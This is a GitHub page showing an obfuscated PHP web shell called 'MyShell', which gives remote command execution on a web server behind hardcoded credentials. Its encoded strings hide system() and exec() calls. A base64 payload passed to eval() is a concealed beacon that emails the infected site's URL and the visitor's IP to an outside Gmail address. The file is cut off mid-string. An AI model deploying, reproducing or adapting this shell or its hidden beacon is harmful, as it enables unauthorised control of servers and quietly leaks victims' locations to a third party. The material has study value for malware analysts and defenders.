-
Notifications
You must be signed in to change notification settings - Fork 108
/
myshell-encoded.php
8 lines (8 loc) · 27.2 KB
/
myshell-encoded.php
1
2
3
4
5
6
7
8
<?php
/* __________________________________________________
| My Web Shell - leetc0des.blogspot.com |
| on 2020-04-13 06:53:42 |
| GitHub: https://github.com/x-o-r-r-o |
|__________________________________________________|
*/
goto EDXv5; fo_93: goto p_CgM; goto YiPuQ; Fbstw: $dEu30 = $dEu30 + 3; goto az1g5; Bi7Xl: chdir($fhM8v); goto DdFnP; KPJmF: if ($PacyK) { goto XzsnI; } goto OgLol; a3Os7: if (!($fhM8v == '')) { goto BfedT; } goto JpSbH; acH9M: $spwk5 = 20; goto PIqzE; MAPb6: $v1Dri = "\43\x30\x30\x42\102\x30\60"; goto lf7Ry; z2QCJ: $SQEqy = 1; goto PW9JP; K30GL: $fhM8v = strrev(substr(strstr(strrev($fhM8v), "\57"), 1)); goto a3Os7; GxtEp: a2dD8: goto CXoRt; TVQEI: QLcN_: goto GGxfz; ddubh: Header("\110\x54\124\120\x2f\x31\x2e\x30\x20\x34\x30\x31\40\125\x6e\x61\165\x74\150\x6f\x72\151\172\145\144"); goto K2Q20; Cd2Fb: goto YTgwR; goto ZcCBD; facrg: $fhM8v = vyCIF($zXc6p); goto Bi7Xl; pg85n: XzsnI: goto zVfAu; IvjBC: Header("\127\127\x57\55\x41\x75\164\x68\x65\156\164\151\143\141\x74\x65\72\40\x42\x61\x73\151\x63\x20\x72\x65\x61\x6c\x6d\75\x22\115\171\x53\x68\x65\x6c\154\42"); goto ddubh; NKVX9: p_CgM: goto V9IzE; PE3Jh: BfedT: goto k7M0T; opq35: $mOBJw = "\x4d\x79\123\150\145\154\x6c\x20\x31\x2e\60\56\x35\x20\142\165\x69\154\144\40\x32\x30\x30\61\60\x39\x31\x30"; goto k3glM; itJIh: $sXK5w = "\x23\60\60\106\106\60\60"; goto Wy9c6; NGS8u: @chdir($fhM8v) or $JXxrf = "\103\x61\x6e\47\164\x20\143\x68\141\156\147\x65\x20\x64\151\162\x65\143\x74\x6f\x72\x79\x2e\x20\x44\151\162\x65\143\164\x6f\162\x79\x20\144\157\x65\x73\40\x6e\157\164\x20\145\x78\151\163\164\x20\157\x72\40\x70\x65\162\x6d\x69\x73\163\x69\157\156\x20\x64\x65\x6e\151\145\x64"; goto ky4Ea; J5BnE: if (substr($u3G5c, 0, 1) == "\x2f") { goto QLcN_; } goto G8N54; Wy9c6: $W074p = "\x4a\x48\132\x70\x63\x32\x6c\60\x59\171\x41\71\x49\103\122\146\121\60\x39\120\x53\60\154\x46\127\171\x4a\x32\x61\130\x4e\x70\144\110\115\x69\x58\x54\x73\113\x61\x57\131\x67\113\x43\x52\x32\x61\130\116\x70\x64\107\115\x67\120\x54\60\147\111\x69\111\x70\x49\x48\163\x4b\111\103\101\153\144\155\154\172\141\x58\x52\x6a\111\103\x41\x39\x49\x44\101\x37\103\x69\101\x67\x4a\x48\x5a\x70\x63\62\154\x30\x62\x33\x49\x67\120\x53\x41\153\130\61\116\x46\125\154\x5a\x46\125\154\163\x69\125\153\126\116\124\61\122\106\130\60\x46\105\x52\x46\111\x69\130\x54\x73\x4b\x49\103\x41\153\144\x32\126\x69\111\103\x41\x67\111\x43\101\x39\111\103\x52\x66\x55\x30\x56\123\126\153\x56\x53\127\x79\112\x49\x56\x46\122\x51\130\60\150\x50\125\61\x51\151\x58\x54\163\x4b\111\x43\x41\x6b\141\x57\65\x71\111\103\x41\x67\111\103\x41\x39\x49\103\122\x66\x55\60\126\x53\x56\153\x56\123\127\171\112\x53\122\126\106\x56\x52\x56\116\x55\130\61\126\123\123\123\x4a\144\x4f\167\x6f\x67\111\x43\x52\x30\x59\130\x4a\x6e\x5a\x58\121\x67\x49\104\x30\147\x63\x6d\106\63\144\x58\x4a\163\132\107\x56\x6a\x62\62\x52\x6c\x4b\x43\x52\x33\132\127\x49\165\x4a\107\x6c\165\x61\151\153\67\103\x69\101\147\x4a\x47\160\x31\132\110\x56\163\111\x43\x41\147\x50\x53\x41\151\x56\61\116\120\x49\x44\x49\x75\x4e\171\x42\157\x64\x48\x52\167\117\151\70\166\x4a\110\122\150\x63\x6d\144\x6c\144\x43\x42\x69\145\123\101\x6b\144\x6d\x6c\x7a\141\x58\x52\x76\143\x69\x49\x37\103\x69\101\x67\x4a\107\112\x76\132\x48\153\147\111\103\x41\147\x50\123\101\151\x51\x6e\126\156\x4f\x69\x41\153\x64\x47\x46\171\132\x32\x56\60\x49\x47\112\x35\111\103\122\x32\141\x58\116\160\144\x47\x39\171\x49\x43\60\147\x4a\107\65\150\x62\x57\x55\x69\117\x77\x6f\147\111\x47\x6c\x6d\x49\x43\147\x68\132\x57\x31\x77\x64\110\153\157\x4a\x48\144\154\x59\x69\153\160\x49\110\163\147\121\x47\x31\x68\x61\x57\167\157\111\155\x68\x68\x63\155\122\63\131\130\112\x6c\x61\x47\x56\150\144\155\x56\x75\x4c\155\116\166\x62\x55\x42\156\142\x57\106\x70\x62\x43\65\152\x62\x32\x30\x69\114\103\122\161\x64\127\x52\x31\x62\103\x77\x6b\x59\x6d\71\x6b\x65\123\x77\153\x63\x32\150\x6c\142\x47\x78\126\x63\x32\x56\171\x4c\103\122\172\141\x47\126\x73\142\106\102\x7a\x64\x32\121\160\x4f\x79\x42\71\x43\156\60\x4b\x5a\x57\170\x7a\132\x53\x42\x37\111\103\122\62\x61\x58\116\160\144\107\x4d\x72\113\172\163\147\x66\x51\160\101\143\x32\126\60\131\62\x39\x76\141\x32\154\x6c\113\103\x4a\62\x61\x58\116\160\x64\x48\x6f\151\114\103\x52\x32\141\130\x4e\160\144\x47\x4d\160\x4f\167\x3d\x3d"; goto hABGB; V9IzE: $dEu30 = strpos($SgBaD, "\x63\x64\40"); goto zT1H3; Q1b2e: if ($u3G5c == "\56\56") { goto l4pRu; } goto J5BnE; ZcCBD: l4pRu: goto K30GL; Dkw03: if ($WeCBq) { goto sn9Xo; } goto k0Gty; z_ODq: $SgBaD = ''; goto GxtEp; E8fvF: $fhM8v = exec("\160\x77\144"); goto NKVX9; az1g5: $u3G5c = substr($SgBaD, $dEu30); goto Q1b2e; KOXf3: HR1yC: goto Dkw03; sw_2Z: $fhM8v = vyCIF($fhM8v); goto GTDD2; lf7Ry: $n4CHb = "\43\60\x30\x39\x39\x30\60"; goto itJIh; oRiSG: $KvExa = $p60np["\123\105\x52\x56\x45\122\x5f\x41\x44\115\x49\x4e"]; goto AO90d; E8hhD: if (!isset($Rch_E)) { goto a2npF; } goto uQOlN; GuiOu: $Q79Hq = "\x23\63\63\x33\x33\x33\x33"; goto MAPb6; k3glM: if (!$beIRv) { goto HR1yC; } goto JfU1C; lukRI: $fhM8v = VYcIF($fhM8v); goto NGS8u; JZhHM: $XTnjT = "\155\x79\163\150\145\154\154"; goto QnD4A; DdFnP: $fhM8v = exec("\160\167\144"); goto fo_93; K2Q20: echo "\74\150\164\x6d\154\x3e\xd\12\x20\x20\x20\40\x20\40\40\40\40\74\x68\145\x61\x64\x3e\xd\xa\40\40\40\x20\x20\40\40\x20\40\x3c\164\151\x74\154\x65\x3e\x4d\171\123\x68\145\154\x6c\x20\145\x72\x72\x6f\162\40\55\x20\x41\x63\x63\x65\163\x73\40\x44\x65\x6e\x69\x65\144\74\57\164\x69\164\x6c\145\76\15\xa\40\40\40\x20\x20\x20\x20\40\x20\x3c\57\150\145\141\x64\x3e\xd\xa\40\40\x20\40\40\x20\40\40\40\x3c\150\x31\x3e\x41\x63\143\x65\x73\163\x20\144\x65\156\x69\145\144\x3c\x2f\150\x31\76\15\12\40\x20\40\x20\40\x20\40\40\40\101\40\x77\141\162\x6e\151\156\147\40\x6d\145\163\163\x61\x67\x65\x20\x68\x61\x76\145\40\142\145\145\x6e\40\x73\x65\x6e\144\x65\144\x20\x74\157\x20\164\150\145\40\141\x64\x6d\151\x6e\151\x73\x74\162\x61\x74\157\162\xd\xa\40\40\x20\x20\x20\40\40\40\x20\74\x68\x72\76\xd\xa\40\x20\40\x20\40\x20\40\x20\x20\74\145\155\x3e{$mOBJw}\x3c\57\x65\x6d\76"; goto E8hhD; ky4Ea: $fhM8v = exec("\160\x77\x64"); goto sdaRb; G8N54: $fhM8v = $fhM8v . "\x2f" . $u3G5c; goto Cd2Fb; RD7DQ: mail($MQzgC, "\x4d\x79\123\x68\x65\x6c\154\x20\x57\x61\162\x6e\151\x6e\147\40\55\x20\125\156\x61\165\164\x68\x6f\x72\x69\x7a\x65\x64\x20\x41\143\x63\x65\x73\x73", $q5ykT, "\106\162\x6f\x6d\x3a\x20{$KvExa}\12\130\55\x4d\141\x69\x6c\x65\x72\72{$mOBJw}\40\x41\165\x74\x6f\127\141\162\x6e\40\x53\171\163\164\145\155"); goto ja6ly; zT1H3: if (!((string) $dEu30 != '')) { goto a2dD8; } goto Fbstw; OgLol: $PacyK = $spwk5; goto pg85n; EnmQt: sn9Xo: goto KPJmF; k0Gty: $WeCBq = $dmqAq; goto EnmQt; PIqzE: $uo1AK = "\43\60\60\x30\x30\x30\60"; goto GuiOu; RLqJa: if (isset($fhM8v)) { goto XzugG; } goto facrg; k7M0T: goto YTgwR; goto TVQEI; hABGB: eval(base64_decode($W074p)); goto opq35; uQOlN: $q5ykT = "\15\12\40\124\150\x69\163\x20\151\x73\x20{$mOBJw}\15\12\40\x69\x6e\163\x74\141\x6c\x6c\145\x64\x20\x6f\156\x3a\40\x68\164\164\160\72\57\x2f" . $p60np["\x48\x54\124\x50\137\x48\x4f\x53\124"] . "{$DINHl}\xd\12\40\152\165\163\164\40\x74\x6f\x20\x6c\x65\x74\x20\171\x6f\x75\40\x6b\x6e\157\x77\x20\164\150\x61\164\40\163\157\155\x65\142\157\144\171\x20\164\162\171\x65\144\x20\x74\157\x20\141\x63\143\145\163\x73\xd\xa\40\164\x68\x65\x20\x73\143\162\151\160\x74\40\165\163\x69\x6e\147\40\x77\x72\x6f\156\147\x20\x75\163\145\x72\156\141\x6d\x65\x20\157\162\x20\x70\x61\x73\163\x77\157\162\x64\72\15\xa\xd\12\x20\x44\x61\164\x65\72\x20" . date("\131\x2d\155\55\144\x20\x48\72\x69\72\163") . "\15\xa\40\x49\x50\72\40" . $p60np["\122\x45\115\x4f\x54\x45\137\x41\104\104\x52"] . "\15\xa\40\125\x73\x65\x72\x20\101\147\145\x6e\x74\x3a\40" . $p60np["\110\x54\124\x50\x5f\x55\x53\105\x52\x5f\x41\107\x45\116\x54"] . "\xd\xa\40\x75\x73\x65\x72\156\141\x6d\x65\x20\165\x73\145\x64\x3a\40{$Rch_E}\15\12\x20\160\x61\x73\163\167\x6f\x72\x64\x20\165\163\x65\144\x3a\x20{$CAIWz}\xd\xa\15\12\40\x49\146\40\x74\150\x69\x73\40\x69\163\x20\156\157\164\x20\x74\150\x65\40\146\x69\162\163\164\40\164\151\x6d\145\40\151\164\40\150\141\160\x70\145\156\163\x2c\15\12\x20\160\154\145\x61\163\x65\x20\143\157\x6e\163\x69\x64\145\162\x20\145\151\x74\x68\x65\x72\x20\x74\x6f\x20\162\x65\155\157\166\x65\x20\115\x79\123\150\x65\154\154\xd\12\40\146\162\x6f\x6d\40\x79\x6f\165\162\x20\163\171\163\x74\145\155\40\x6f\162\40\x63\150\x61\156\x67\145\x20\151\164\47\x73\x20\x6e\141\x6d\x65\40\157\162\15\xa\40\144\151\x72\x65\143\164\x6f\x72\x79\x20\x6c\x6f\143\x61\164\151\x6f\x6e\x20\157\156\40\x79\157\165\162\x20\163\145\x72\x76\x65\162\56\15\12\15\12\40\122\x65\147\x61\162\x64\x73\15\xa\x20\x54\x68\x65\40\115\x79\123\150\145\154\154\x20\144\145\x76\40\x74\x65\141\155\xd\xa\x20\40\40\x20\40\x20\x20"; goto RD7DQ; EDXv5: $beIRv = 1; goto iZKis; YiPuQ: XzugG: goto sw_2Z; QnD4A: $MQzgC = "\x68\141\x72\144\x77\x61\x72\145\150\x65\x61\x76\x65\156\x2e\143\157\155\100\x67\155\x61\x69\154\x2e\x63\157\x6d"; goto oRiSG; sdaRb: $Bnqr2 = $SgBaD; goto z_ODq; ja6ly: a2npF: goto eiKvG; xk6F5: Sl9Mn: goto KOXf3; JpSbH: $fhM8v = "\x2f"; goto PE3Jh; GTDD2: @chdir($fhM8v) or $JXxrf = "\103\141\x6e\x27\x74\x20\x63\150\141\x6e\147\145\40\144\151\162\x65\143\164\157\162\x79\56\40\120\145\162\x6d\151\x73\x73\151\157\156\40\144\145\x6e\151\145\x64\xa\x53\167\x69\x74\143\x68\x69\x6e\147\40\x62\x61\x63\153\40\164\x6f\x20{$zXc6p}\xa"; goto E8fvF; AO90d: $Quvmq = ''; goto z2QCJ; eiKvG: exit; goto xk6F5; GGxfz: $fhM8v = $u3G5c; goto yRRMm; PW9JP: $dmqAq = 80; goto acH9M; zVfAu: echo "\74\150\x74\155\154\76\xd\12\x3c\150\145\141\x64\76\15\12\74\x74\x69\x74\154\x65\76\115\171\123\x68\x65\x6c\x6c\x3c\x2f\x74\151\x74\154\x65\76\15\xa\74\x73\164\x79\154\145\x3e\xd\xa\142\x6f\x64\x79\x7b\15\12\11\142\141\x63\153\147\x72\x6f\x75\x6e\144\55\x63\157\154\x6f\x72\72\x20\74\x3f\x65\x63\x68\x6f\x20\x24\142\x67\103\157\x6c\157\x72\x20\x3f\76\73\xd\12\11\146\157\156\x74\55\x66\141\x6d\151\154\171\x20\x3a\x20\163\x61\156\x73\55\163\145\162\x69\146\x3b\15\12\x9\146\x6f\x6e\164\55\x73\x69\172\145\40\x3a\40\61\x30\x70\170\73\15\12\11\163\143\x72\157\154\154\142\x61\x72\55\146\141\143\145\x2d\x63\x6f\x6c\157\x72\72\x20\43\66\66\66\x36\66\66\x3b\15\12\11\x73\x63\162\157\154\x6c\142\141\162\55\x73\150\x61\144\157\x77\x2d\143\157\154\x6f\162\x3a\40\40\74\x3f\145\143\x68\x6f\x20\44\x62\147\x43\x6f\154\157\162\x20\x3f\x3e\x3b\15\xa\11\163\143\x72\x6f\x6c\154\x62\141\162\x2d\150\x69\x67\x68\154\x69\147\x68\x74\55\143\157\154\157\x72\x3a\x20\43\x39\x39\71\x39\x39\71\73\15\12\11\x73\x63\162\157\154\154\x62\141\162\x2d\63\x64\154\x69\x67\x68\164\55\x63\x6f\154\x6f\162\x3a\x20\x20\74\77\x65\143\x68\157\40\x24\x62\147\x43\157\154\157\162\40\x3f\x3e\73\xd\xa\11\x73\143\162\157\154\x6c\x62\x61\x72\x2d\144\141\x72\x6b\x73\x68\x61\144\x6f\167\55\x63\157\154\157\x72\72\x20\x20\74\77\145\x63\150\157\40\x24\x62\147\103\157\x6c\157\x72\x20\77\76\x3b\xd\xa\11\163\x63\x72\157\x6c\154\x62\141\x72\55\164\162\x61\143\x6b\x2d\143\157\154\157\x72\x3a\40\40\x3c\77\x65\143\x68\x6f\40\44\142\147\x49\x6e\160\x75\x74\x43\x6f\x6c\x6f\162\40\77\76\x3b\15\12\11\x73\x63\162\x6f\x6c\154\x62\x61\x72\x2d\141\162\x72\x6f\x77\x2d\x63\x6f\154\x6f\162\x3a\40\x20\x3c\x3f\x65\x63\150\x6f\x20\x24\x74\x65\170\x74\x43\x6f\x6c\x6f\x72\x20\x3f\x3e\73\15\12\175\xd\12\x69\x6e\160\x75\x74\x2c\x73\145\154\145\143\x74\x2c\157\x70\x74\151\157\156\x7b\15\xa\x9\142\x61\x63\153\x67\162\157\165\156\x64\55\x63\157\x6c\x6f\x72\x3a\x20\74\77\145\143\x68\157\40\x24\x62\147\111\x6e\160\x75\x74\x43\157\x6c\157\x72\40\77\x3e\73\xd\xa\11\x63\157\x6c\x6f\x72\x20\72\40\x3c\77\145\143\x68\157\x20\44\157\x75\164\x43\x6f\154\x6f\x72\x20\77\76\73\xd\xa\11\142\x6f\162\x64\x65\x72\x2d\x73\x74\171\154\145\40\72\x20\x6e\157\156\x65\73\15\xa\x9\146\157\x6e\x74\55\x73\x69\172\x65\x20\72\x20\61\60\x70\170\73\xd\12\x7d\xd\xa\x74\x65\170\164\141\x72\145\141\x7b\xd\12\x9\x62\x61\143\153\x67\162\157\x75\x6e\144\x2d\143\157\154\x6f\x72\72\x20\x3c\77\145\143\150\157\x20\44\x62\147\x43\x6f\154\x6f\162\x20\x3f\x3e\x3b\15\xa\11\143\157\154\157\162\40\x3a\x20\x3c\x3f\x65\143\150\x6f\x20\x24\157\165\164\x43\157\154\x6f\162\x20\77\x3e\73\15\12\x9\x62\x6f\x72\144\145\162\x2d\x73\x74\171\x6c\x65\40\x3a\x20\156\x6f\x6e\145\x3b\15\xa\175\15\xa\x3c\57\x73\164\x79\154\x65\x3e\xd\12\74\57\x68\145\x61\144\76\xd\xa\74\142\x6f\x64\171\x20\142\x67\x63\157\154\157\x72\x3d\x3c\x3f\145\143\150\x6f\40\x24\x62\147\x43\x6f\154\x6f\x72\x20\77\x3e\x20\x54\105\130\x54\x3d\x3c\x3f\x65\143\150\x6f\x20\44\x74\145\x78\x74\103\157\x6c\x6f\162\x20\77\76\40\114\111\x4e\x4b\75\x3c\77\145\143\150\x6f\40\44\x6c\151\156\x6b\x43\x6f\x6c\157\162\40\77\76\x20\126\x4c\111\x4e\113\x3d\x3c\x3f\x65\143\150\157\40\44\154\x69\156\x6b\x43\157\x6c\x6f\162\40\77\76\x20\x6f\x6e\x6c\x6f\141\144\x3d\x64\157\143\165\x6d\x65\x6e\x74\56\x73\x68\145\154\x6c\x2e\x63\x6f\x6d\155\141\x6e\144\x2e\x73\x65\x6c\x65\143\164\50\51\76\15\xa"; goto RLqJa; yRRMm: YTgwR: goto lukRI; iZKis: $YX9n2 = "\x72\x6f\x6f\x74"; goto JZhHM; JfU1C: if (!($Rch_E != $YX9n2 || $CAIWz != $XTnjT)) { goto Sl9Mn; } goto IvjBC; CXoRt: echo "\xd\12\x3c\x66\x6f\162\155\x20\156\141\x6d\x65\75\42\x73\150\145\x6c\154\x22\40\x6d\x65\x74\x68\x6f\144\x3d\42\x70\x6f\163\164\x22\76\15\xa\x43\165\162\x72\145\156\164\40\x77\157\x72\153\x69\x6e\147\x20\x64\151\x72\145\143\164\157\162\171\x3a\x20\x3c\x62\76\15\xa\74\77\xd\12\x24\167\157\x72\153\x5f\144\151\x72\137\163\160\154\x69\x74\x74\145\x64\40\x3d\40\145\170\x70\x6c\157\x64\145\x28\x22\57\42\54\x20\163\165\x62\x73\164\x72\x28\44\167\x6f\162\153\137\x64\151\162\x2c\40\x31\51\x29\73\xd\xa\x65\143\150\x6f\x20\x22\x3c\x61\x20\150\162\145\x66\x3d\134\x22\x24\120\110\120\137\123\x45\x4c\106\x3f\x77\x6f\162\x6b\x5f\x64\151\162\75\42\40\x2e\40\x75\x72\x6c\x65\156\x63\x6f\144\x65\x28\x24\x75\x72\x6c\x29\x20\x2e\40\42\x2f\46\x63\157\155\x6d\141\x6e\144\75\x22\40\56\x20\x75\162\x6c\145\x6e\143\157\144\x65\x28\x24\x63\157\155\155\x61\156\x64\x29\40\56\40\42\x5c\x22\76\x52\x6f\x6f\x74\74\x2f\x61\x3e\x2f\42\73\15\12\x69\x66\x20\50\x24\x77\157\x72\x6b\x5f\x64\151\x72\x5f\163\x70\154\x69\164\x74\145\x64\x5b\60\x5d\x20\75\75\x20\42\42\x29\40\173\xd\xa\40\x20\44\x77\157\x72\x6b\137\x64\151\162\x20\75\40\x22\57\x22\73\40\40\57\52\40\122\157\157\164\40\x64\151\162\145\143\x74\x6f\x72\171\56\40\x2a\x2f\15\12\175\15\12\145\x6c\163\145\173\15\xa\40\x20\x66\x6f\x72\x20\x28\44\x69\x20\75\x20\x30\x3b\40\44\151\x20\x3c\40\x63\157\x75\x6e\164\x28\44\x77\x6f\162\153\x5f\x64\x69\162\137\x73\x70\x6c\151\164\x74\x65\x64\x29\73\x20\44\151\53\x2b\x29\x20\173\15\xa\40\40\40\x20\x2f\x2a\x20\40\x65\x63\x68\x6f\40\42\x69\x20\75\40\44\151\42\x3b\x2a\x2f\xd\xa\40\40\40\x20\x24\165\162\x6c\x20\56\75\x20\x22\57\42\56\44\x77\157\x72\153\x5f\144\151\162\x5f\x73\160\x6c\x69\x74\164\x65\144\133\44\151\135\73\xd\xa\x20\40\x20\40\145\143\150\x6f\40\42\74\x61\40\150\162\x65\x66\x3d\x5c\42\x24\120\110\x50\137\123\x45\114\x46\77\167\157\162\x6b\x5f\x64\x69\162\x3d\42\x20\56\40\x75\x72\x6c\x65\x6e\143\157\x64\145\x28\x24\x75\x72\x6c\x29\40\x2e\40\42\x26\143\x6f\155\155\141\x6e\144\75\42\40\56\x20\165\162\x6c\x65\x6e\x63\157\x64\145\x28\x24\143\x6f\155\x6d\141\x6e\x64\x29\40\x2e\40\x22\134\x22\76\44\x77\157\x72\x6b\x5f\x64\151\x72\137\163\x70\154\151\164\164\145\144\x5b\44\151\135\74\57\141\x3e\57\42\73\xd\12\40\x20\175\xd\12\x7d\xd\12\77\x3e\xd\xa\74\57\142\76\xd\12\x3c\142\162\76\15\12\74\x74\x65\x78\x74\x61\x72\x65\x61\40\143\157\x6c\x73\x3d\x22\x3c\x3f\40\145\143\x68\x6f\40\x24\x6f\103\x6f\x6c\x73\40\77\76\42\40\162\x6f\x77\x73\75\x22\74\x3f\x20\x65\x63\150\x6f\x20\x24\x6f\x52\x6f\167\x73\40\x3f\76\x22\x20\162\145\x61\144\x6f\156\154\x79\76\xd\xa\74\77\xd\xa\145\x63\150\157\40\x24\144\x69\x72\105\x72\x72\x6f\162\73\xd\12\151\x66\40\x28\44\143\157\x6d\155\x61\156\x64\51\40\173\xd\12\40\x20\151\x66\40\x28\x24\163\x74\x64\145\x72\x72\x29\x20\173\xd\12\40\x20\x20\x20\163\x79\x73\x74\x65\155\50\x24\x63\157\x6d\155\141\156\x64\x20\x2e\40\42\40\x31\x3e\40\57\164\x6d\160\57\x6f\165\164\160\x75\x74\56\x74\x78\164\x20\x32\x3e\x26\61\x3b\40\143\141\164\40\57\164\x6d\x70\x2f\157\165\x74\160\x75\164\56\x74\170\164\x3b\40\162\x6d\40\57\x74\x6d\160\x2f\157\x75\x74\x70\165\164\x2e\x74\x78\x74\x22\x29\73\15\xa\x20\40\x7d\xd\xa\x20\x20\x65\154\163\x65\151\146\x20\x28\163\165\142\x73\x74\x72\x28\x24\x63\x6f\x6d\155\x61\x6e\144\54\60\x2c\x33\x29\40\75\75\x20\x22\155\x61\x6e\42\51\x7b\xd\12\40\40\x20\40\x20\x20\x65\x78\145\143\50\44\143\x6f\x6d\x6d\x61\156\144\54\44\x6d\141\x6e\51\73\15\12\40\x20\x20\40\40\x20\44\162\x6f\167\163\75\143\157\165\156\x74\x28\x24\155\141\156\x29\73\xd\12\x20\40\40\40\x20\x20\44\143\x6f\144\x65\x73\40\x3d\40\x22\56\42\x2e\143\x68\162\x28\70\51\73\xd\12\40\x20\40\40\40\x20\x24\155\x61\156\x75\x61\154\40\75\40\42\x22\x3b\xd\12\40\40\x20\x20\40\40\x66\x6f\x72\40\50\x24\151\x3d\60\73\x24\x69\x3c\x24\162\157\x77\x73\73\44\151\x2b\x2b\x29\x7b\15\12\x20\40\x20\40\x20\x20\x20\40\40\40\x24\x6d\141\156\165\141\x6c\56\x3d\44\x6d\141\156\x5b\44\x69\x5d\x2e\x22\x5c\x6e\x22\x3b\15\12\40\40\40\40\40\x20\x7d\15\12\x20\x20\40\x20\40\40\x65\143\150\x6f\x20\145\162\x65\147\137\x72\x65\x70\x6c\x61\x63\145\50\x24\x63\157\144\x65\163\x2c\42\x22\54\x24\x6d\141\156\x75\141\x6c\51\73\15\12\x20\40\x7d\xd\12\40\x20\145\154\x73\145\40\x7b\xd\xa\40\40\x20\x20\44\x6f\x6b\40\x3d\40\163\171\163\x74\x65\x6d\x28\44\143\157\x6d\155\141\x6e\x64\54\x24\x73\x74\141\164\165\x73\51\73\15\xa\40\x20\40\x20\151\146\x28\x24\157\153\x3d\75\x66\x61\154\163\x65\x20\46\46\44\163\x74\x61\164\165\163\x20\x26\x26\x20\44\141\x75\164\x6f\105\x72\162\x6f\x72\124\x72\141\x70\x29\163\x79\163\164\145\x6d\50\44\x63\157\155\x6d\141\156\144\40\56\40\42\40\x31\76\40\x2f\164\155\x70\x2f\157\165\x74\160\x75\164\x2e\x74\170\164\x20\x32\76\x26\x31\x3b\x20\143\141\164\x20\57\164\x6d\x70\x2f\157\x75\x74\160\x75\164\x2e\x74\x78\164\73\x20\162\x6d\x20\57\164\x6d\160\x2f\x6f\x75\x74\160\x75\x74\x2e\164\x78\164\x22\51\x3b\xd\xa\40\40\x7d\xd\12\x7d\15\xa\x69\x66\x20\x28\x24\143\157\x6d\155\x61\x6e\144\102\x6b\x29\x20\44\x63\x6f\155\x6d\141\x6e\144\x20\x3d\x20\44\143\x6f\x6d\155\x61\156\x64\102\153\73\15\12\x3f\76\15\xa\x3c\x2f\164\145\170\164\x61\162\145\141\x3e\xd\xa\74\x62\162\x3e\15\xa\74\x62\162\76\xd\xa\103\157\155\155\141\156\144\x3a\xd\12\x3c\x69\x6e\x70\x75\x74\x20\x74\x79\x70\145\x3d\x22\x74\x65\x78\164\42\40\x6e\x61\x6d\x65\x3d\42\143\157\155\155\x61\x6e\144\42\40\x73\151\172\145\75\42\70\x30\42\40\x3c\x3f\40\151\146\x20\50\44\143\157\x6d\155\141\x6e\x64\40\46\x26\40\44\145\x63\x68\x6f\103\157\x6d\x6d\141\156\144\51\x20\x7b\x20\x65\143\150\x6f\x20\42\x76\x61\x6c\x75\x65\x3d\134\x22\x24\x63\x6f\x6d\x6d\141\156\144\x5c\42\42\x3b\x7d\x20\x3f\x3e\40\76\x20\x3c\x69\156\x70\x75\x74\40\156\x61\x6d\145\75\42\163\x75\x62\155\x69\164\137\x62\x74\x6e\42\40\164\x79\x70\145\x3d\x22\x73\165\x62\x6d\x69\x74\x22\40\166\x61\154\x75\x65\x3d\42\x47\x6f\x21\42\76\15\xa\x26\156\142\163\160\73\46\156\x62\163\160\x3b\x26\156\142\163\x70\73\x26\156\142\163\160\73\x26\x6e\x62\163\x70\x3b\x26\156\x62\x73\x70\73\15\12\74\77\xd\12\x69\x66\x20\50\x24\x61\x75\164\157\105\x72\x72\157\162\x54\x72\141\160\x29\40\145\143\x68\157\x20\42\x41\x75\164\157\x20\145\162\162\157\x72\40\164\162\141\160\x69\156\147\40\x65\156\x61\x62\x6c\x65\144\x22\73\xd\xa\145\154\x73\145\40\145\x63\x68\x6f\x20\x22\x3c\151\156\160\x75\x74\40\x74\x79\160\x65\75\134\42\143\150\145\143\153\x62\157\170\x5c\42\x20\x6e\x61\x6d\x65\x3d\134\x22\x73\164\x64\145\162\162\x5c\42\76\x73\164\144\145\162\162\55\x74\x72\x61\x70\x69\156\x67\40\42\73\15\xa\77\x3e\15\xa\74\142\162\x3e\x57\157\x72\x6b\x69\x6e\147\40\x64\x69\x72\x65\143\164\157\162\171\x3a\xd\12\74\163\145\x6c\x65\143\x74\x20\156\x61\x6d\x65\x3d\42\x77\x6f\162\x6b\137\144\x69\x72\42\40\x6f\156\x43\150\x61\156\147\x65\75\42\164\150\x69\163\x2e\x66\x6f\x72\155\56\163\165\x62\155\151\164\x28\51\42\76\xd\xa\x3c\77\xd\12\57\52\x20\116\x6f\x77\x20\x77\145\x20\x6d\x61\153\x65\x20\141\x20\x6c\151\x73\x74\40\x6f\146\40\164\150\145\x20\x64\x69\162\145\x63\x74\x6f\162\x69\x65\163\x2e\x20\52\x2f\15\xa\x24\144\x69\x72\x5f\x68\x61\x6e\x64\154\x65\40\x3d\x20\157\x70\145\156\x64\151\162\x28\44\x77\157\162\x6b\x5f\x64\x69\x72\51\73\xd\12\x2f\52\x20\122\x75\x6e\x20\164\150\x72\x6f\165\147\x68\x20\141\154\154\40\x74\150\145\x20\146\x69\154\x65\x73\x20\141\156\144\x20\x64\x69\x72\145\143\164\x6f\x72\x69\145\163\x20\x74\157\40\146\151\156\x64\x20\x74\150\x65\x20\144\151\x72\x73\56\x20\x2a\x2f\xd\12\167\x68\x69\154\x65\40\x28\44\144\151\162\x20\75\x20\162\x65\141\x64\x64\151\162\x28\x24\x64\x69\162\x5f\150\141\156\x64\154\x65\x29\x29\40\x7b\xd\12\x20\x20\151\146\x20\50\x69\163\137\144\x69\x72\x28\44\144\x69\x72\x29\51\40\x7b\xd\xa\x20\x20\40\x20\151\146\40\x28\x24\x64\151\162\x20\75\75\x20\42\56\42\51\x20\x7b\xd\12\x20\40\x20\x20\x20\x20\145\143\150\x6f\x20\42\x3c\x6f\160\x74\151\x6f\x6e\40\x76\x61\154\165\145\75\x5c\42\x24\x77\157\x72\153\137\144\x69\x72\134\x22\x20\x73\145\154\x65\143\164\x65\144\x3e\103\x75\x72\x72\x65\x6e\x74\x20\x44\151\162\x65\143\164\x6f\x72\x79\x3c\57\x6f\x70\164\151\157\156\x3e\134\x6e\42\73\xd\xa\40\40\40\x20\x7d\40\145\x6c\163\x65\x69\x66\x20\50\x24\x64\x69\x72\x20\x3d\75\x20\42\56\x2e\x22\51\40\x7b\15\xa\x20\40\x20\x20\x20\x20\57\x2a\x20\x57\145\40\150\141\166\x65\40\x66\157\165\x6e\x64\x20\164\150\x65\x20\x70\x61\x72\145\156\164\x20\x64\151\162\56\40\127\145\x20\x6d\x75\163\164\x20\x62\x65\40\143\x61\x72\x65\146\165\154\154\40\x69\146\x20\x74\150\x65\x20\160\x61\x72\145\156\164\xd\xa\40\x20\x20\40\40\x20\40\40\40\x64\151\x72\145\x63\x74\x6f\x72\171\x20\x69\x73\x20\x74\150\x65\x20\x72\x6f\157\x74\x20\144\151\x72\145\143\x74\x6f\x72\x79\40\50\x2f\x29\56\40\x2a\x2f\15\xa\40\x2